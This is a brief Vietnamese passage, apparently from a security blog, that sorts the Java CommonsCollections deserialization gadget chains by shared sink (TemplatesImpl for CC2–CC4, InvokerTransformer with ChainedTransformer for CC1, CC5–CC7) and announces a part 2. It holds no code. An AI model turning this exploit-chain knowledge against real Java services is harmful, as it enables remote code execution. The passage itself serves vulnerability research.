Bộ CommonsCollections gadget chain với CC2, CC3, CC4 có cùng một sink là TemplatesImpl mà mình đã phân tích cùng với CommonsBeanutils1, các bộ còn lại CC1, CC5, CC6, CC7 cũng chung 1 sink khác là: InvokerTransformer + ChainedTransformer = reflection, cái mình sẽ dành thời gian để viết tiếp part 2.

refs